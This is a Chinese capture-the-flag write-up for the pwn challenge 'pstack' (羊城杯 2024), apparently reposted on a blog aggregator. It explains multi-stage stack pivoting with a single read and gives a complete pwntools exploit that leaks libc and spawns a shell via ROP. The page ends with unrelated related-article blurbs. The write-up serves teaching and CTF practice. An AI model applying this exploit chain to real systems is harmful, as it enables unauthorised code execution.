【PWN · 栈迁移 | one-read】[羊城杯 2024]pstack

news2024/9/24 3:24:42

从前的栈迁移,怎么也得泄露一个栈指针,或者对bss有两次及以上写的能力,这题过分精简,一时间失了分寸。。。好在信息检索到了解法,并动态调试了解了过程


前言

栈溢出长度不够如何利用——可以考虑栈迁移

如果从交互来看,仅有一个read函数,且只能触发一次,又该如何利用?

本题就是如此,又让我学了一招,通过read实现多次栈迁移完成目的。

这里必须把信息检索到的博客、博主在此声明,以示感谢


一、题目

二、解题思路与利用链

只有一次read,从前遇到的,要么是劫持到栈上,要么是劫持到bss上。前者需要栈指针泄露,后者需要在bss构造ROP链。这里一没有打印函数,二只有一次read,似乎条件都不太满足。

不过read本身是有写的能力的,这和劫持到bss段上比较相似

为此可以有一下利用链(写的比较详细所以多,但是由于重复性的相似称谓,表述可能欠妥有歧义,还是跟着后面的调试看比较清晰,望读者海涵)

【Payload 示意】
1.deadbeef+bss+vuln_read  #
2.deadbeef+ROP[puts(puts)]+pop_rbp+bss+vuln_read+bss+leave_ret
3.deadbeef+ROP[system(’/bin/sh’)]+bss+leave_ret
【利用链】
1. 第一次栈溢出,发送payload1,写rbp为bss段上一个地址,写ret为vuln函数的read
2.第一次vuln执行完毕,leave使得rbp改为bss,ret使得程序再次跳转到vuln-read进行读取
3.由于rbp已经被更改为bss段上的一个地址,因此read的buf指针(lea     rax, [rbp+buf])也指向了bss上的一个区域
4.程序执行read,发送payload2,写ROP[puts(puts)]泄露libc,通过pop_rbp修改rbp的同时,利用vuln_read再次往目标地址写,ROP[system(’/bin/sh’)],rbp写合适的bss位置,ret写leave_ret
5.程序执行完vuln-read后,函数尾声leave-ret,leave时rsp被迁到bss段上,由于构造合理,(leave=mov rsp,rbp;pop rbp;) 此时leave执行完,rbp=bss-8(payload2中所谓合适的bss位置),rsp指向leave_ret gadget。接下来执行ret,程序将跳转到leave-ret这个gadget
6.gadget中,leave执行完毕后会将rsp迁移到bss上,ROP链起始位置;ret会进入ROP
7.程序将按照设定,泄露libc、触发vuln_read函数向bss上读入payload3
8.然后ROP完,再次触发leave-ret(payload2最后的部分),由于前面的read的ROP已经修改了rbp,所以此时leave-ret时,再次触发栈迁移,迁移到read读取后的位置
9.ROP-read读取ROP-system(’/bin/sh’),栈迁移后,ret继续执行该后门ROP链,完成利用

三、动态调试与解题

 

四、EXP

from pwn import *
from time import sleep
elf=ELF('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.arch=elf.arch
context.os='linux'
context.log_level='debug'
# context.terminal=['tmux','splitw','-h']
##########################
def debug(touch=True,flag=False):
    global gdb_status;gdb_status=False
    if flag:
        gdb_status=True
        gdb.attach(io);
        return
    elif touch:
        if input('[?] GDB attach(press ENTER to quit): ')!='':
            gdb_status=True
            gdb.attach(io);
            return
        else:
            print("[-] GDB didn't attach")
            return
    print("[-] GDB didn't attach")
    return 

def gdb_check(point=True,slp=False):
    if not point:
        return
    if(gdb_status):
        if slp:
            sleep(2)
        else:
            pause()

##########################

def sendline_payload(payload):
    try:
        io.recvall(Timeout=2)
    except:
        pass
    io.sendline(payload)
def send_payload(payload):
    try:
        io.recvall(Timeout=2)
    except:
        pass
    io.send(payload)
bss=elf.bss()+0x500
vuln_read=0x4006C4
io=process('./pwn')
debug()

# payload1: 1.hijack rbp to bss; 
#           2.return to vuln-read 
payload1=b'a'*(0x30)+p64(bss+0x30)+p64(vuln_read)
send_payload(payload1)
gdb_check(False)

# payload2: 1.double leave-ret (set ret to gadget leave-ret) hijack rsp to bss-start (set appropriate bss)
#           2.ROP
#           3.read more payload

# 0x0000000000400773 : pop rdi ; ret
# 0x00000000004005b0 : pop rbp ; ret
# 0x00000000004006db : leave ; ret
leave_ret=0x4006db
pop_rdi=0x400773
pop_rbp=0x4005b0
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

payload2=p64(pop_rdi)+p64(puts_got)+p64(puts_plt) # leak-libc
payload2+=p64(pop_rbp)+p64(bss+0x200+0x30)+p64(vuln_read)
payload2+=p64(bss-8)+p64(leave_ret)

send_payload(payload2)
gdb_check(True)
io.recvuntil(b'flow?\n')
puts_real=u64(io.recvuntil(b'\n',drop=True)[-6:].ljust(8,b'\x00'))
libc_base=puts_real-libc.sym['puts']
system_real=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').__next__()

success('puts_real:'+hex(puts_real))
success('libc_base:'+hex(libc_base))
success('system_real:'+hex(system_real))
success('str_bin_sh:'+hex(binsh))

# payload3: 1.ROP system('/bin/sh')
#           2.double-leave-ret hijack to ROP
# 0x0000000000400506 : ret
ret=0x400506
# if segment fault, rset '0x100' to another number like '0x200' (success)
payload3=(p64(pop_rdi)+p64(binsh)+p64(system_real)).ljust(0x30,b'\x00')
payload3+=p64(bss+0x200-0x8)+p64(leave_ret)
send_payload(payload3)
io.interactive()

总结

唉,又为自己菜菜而自卑。。

羊城杯前面的佬,真的好牛,又聪明又勤奋

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2081280.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

想入门AI产品经理,你一定要明白这些!

前言 对于想要进入AI领域,特别是成为AI产品经理的朋友们来说,了解并掌握一些AI大模型的基础知识是非常重要的。接下来,我就用更通俗的方式,给大家介绍一下入行AI大模型所必备的几点知识。 一、AI大模型是啥? 简单来…

中秋佳节好物推荐:五款数码产品让你的节日更加精彩

中秋节是中华文化中最为重要的传统节日之一,它象征着团圆和丰收,也是我们与家人朋友欢聚一堂,共享美好时光的日子。除了团圆饭桌上的月饼和水果,我们还可以通过一些现代数码产品来为这个节日增添科技感和便利性。无论是提升个人生…

【机器学习】非线性降维、流形学习的基本概念、如何选择合适的非线性降维方法以及非线性降维的流形学习实例(含python代码)

引言 非线性降维是机器学习中用来处理高维数据的一种方法,特别是当数据包含复杂的非线性结构时 文章目录 引言一、非线性降维1.1 目的1.2 非线性降维方法1.2.1 核主成分分析 (Kernel PCA)1.2.2 局部线性嵌入 (LLE)1.2.3 等距映射 (Isomap)1.2.4 拉普拉斯特征映射 (L…

3秒AI写真出图,Stable Diffusion2024升级版+使用教程来了!(无需安装,解压即用)

要说今年摄影圈最大的新秀 那妥妥的就Stable Diffusion 比如下面的写真照片 你敢信这是SD绘画生成的? 就在刚刚它又全面升级了 新版无需安装,直接解压就能用 比之前推送的更加智能、快速和简单 另外还特意为大家准备了 Stable Diffusion 人工智能…

新书速览|Altium Designer 24入门与案例实践:视频教学版

本书内容 《Altium Designer 24入门与案例实践:视频教学版》以当前最新的板卡级设计软件Altium Designer 24为基础,全面讲述电路设计的各种基本操作方法与技巧,并演示两个大型综合实战案例。《Altium Designer 24入门与案例实践:视频教学版》配套示例源文…

RAG的基石:大语言模型文本向量化能力对比

什么是具象的高维向量空间?也许这是一个,在不同的平行空间里面,对不同的物体有各自的表示… 一、概述 大家都比较关心大语言模型的能力,但往往容易忽略其向量化(Embedding)的能力。在RAG应用中&#xff0c…

USB3202N多功能数据采集卡16位模拟量250K频率LabVIEW采集卡

品牌:阿尔泰科技 系列:多功能数据采集卡 概述: USB3202N多功能数据采集卡,LabVIEW无缝连接,提供图形化API函数,提供8通道(RSE、NRSE)、4通道(DIFF)模拟量输…

计算机毕业设计hadoop+spark+hive物流预测系统 物流大数据分析平台 物流信息爬虫 物流大数据 机器学习 深度学习

流程: 1.Python爬虫采集物流数据等存入mysql和.csv文件; 2.使用pandasnumpy或者MapReduce对上面的数据集进行数据清洗生成最终上传到hdfs; 3.使用hive数据仓库完成建库建表导入.csv数据集; 4.使用hive之hive_sql进行离线计算&…

matlab可以把多个二维图合成为三维瀑布图吗??

🏆本文收录于《CSDN问答解惑-专业版》专栏,主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收…

小皮服务器无法启动Mysql服务器

一、用小皮服务器启动mysq,启动后几秒钟就停止了 出现了这种情况怎么办? 二、因为电脑已经启动了mysql服务 关闭掉已启动的mysql服务就好 在电脑任务栏的空白处右键,出现‘任务管理器’ 找到mysql服务,右键“结束任务” 三、再…

【论文笔记】独属于CV的注意力机制CBAM-Convolutional Block Attention Module

目录 写在前面 一、基数和宽度 二、通道注意力模块(Channel Attention Module) 三、空间注意力模块(Spatial Attention Module) 四、CBAM(Convolutional Block Attention Module) 五、总结 写在前面 …

调试JS代码

一、vs code调试 1.在vs code中如何进行代码调试? 首先,在vs code中配置 auto-attach,通过ctrl shift p,输入 auto-attach。设置成smart(智能)。如下图: 然后,对需要调试的语句在…

AWS子账号的创建与管理:提升安全性与灵活性

在现代云计算环境中,亚马逊网络服务(AWS)提供了强大的功能,允许用户创建和管理子账号。通过合理地使用子账号,企业可以有效地提升安全性、管理复杂性以及资源的灵活性。我们九河云一起细探讨AWS子账号的创建方法。 为什…

2-78 基于matlab-GUI的DTW算法语音识别

基于matlab-GUI的DTW算法语音识别,具有16页分析报告。能识别0-9数字,正确率90。预处理过程包括预滤波、采样和量化、分帧、加窗、预加重、端点检测等。经过预处理的语音数据进行特征参数提取。在训练阶段,将特征参数处理之后,每个…

双目相机实现物体尺寸的精准测量

双目视觉系统是一种模拟人类双眼的立体视觉原理,通过两个摄像头从不同的角度捕捉同一场景的图像,从而获取目标物体的三维信息。 目录 1,设备选型 2,双目相机测量的现实意义 2.1 技术优势 2.2 面对的挑战 2.3 发展趋势 3&am…

黑神话的大头怪幽魂很简单! 黑神话悟空幽魂打法攻略

《黑神话:悟空》已经发售了三天,玩家们也已经踏上了“天命人”的路程。不过因游戏Boss太难打成为取经路上的拦路虎,有不少玩家被幽魂挡住了脚步,并纷纷叫苦。 近日,“你希望黑神话悟空出难度调节吗”这个话题也登上微博…

MyBatis查询 ▎修改 ▎删除

前言: 在现代应用开发中,数据库操作是核心环节。MyBatis 作为一款灵活的持久层框架,提供了直接编写 SQL 语句的能力,避免了其他 ORM 框架可能带来的性能和功能限制。MyBatis 的查询、修改和删除操作是开发者必须掌握的基本技能。这些操作不仅…

基差、升水与贴水,股指期货市场的重要概念解析

在股指期货市场中,基差、升水和贴水是三个至关重要的概念。它们不仅影响着市场的价格动态,还对套利和套期保值者的策略制定具有重大意义。本文将详细解析这三个概念,帮助读者更好地理解期货市场的运作机制。 一、基差:现货与期货…

公司叫你写three.js 编辑器不会写,我这有思路

低代码------就是将一些复用的流程和操作进行封装简化使用,目前 web 二维 在市场上已经非常普遍,而web 三维低代码普及率并不是很高。 这是我早期创造three低代码内核的一个思维导图 开源地址 https://github.com/z2586300277/three-editor 预览查看 …

如何将ip地址随机更换

在数字化时代,‌IP地址作为网络身份的重要标识,‌其管理和使用方式对于个人和企业都具有重要意义。‌在某些场景下,‌如‌突破地域限制、‌数据抓取或隐私保护等,‌用户可能需要实现IP地址的随机更换。‌本文将深入探讨如何将IP地…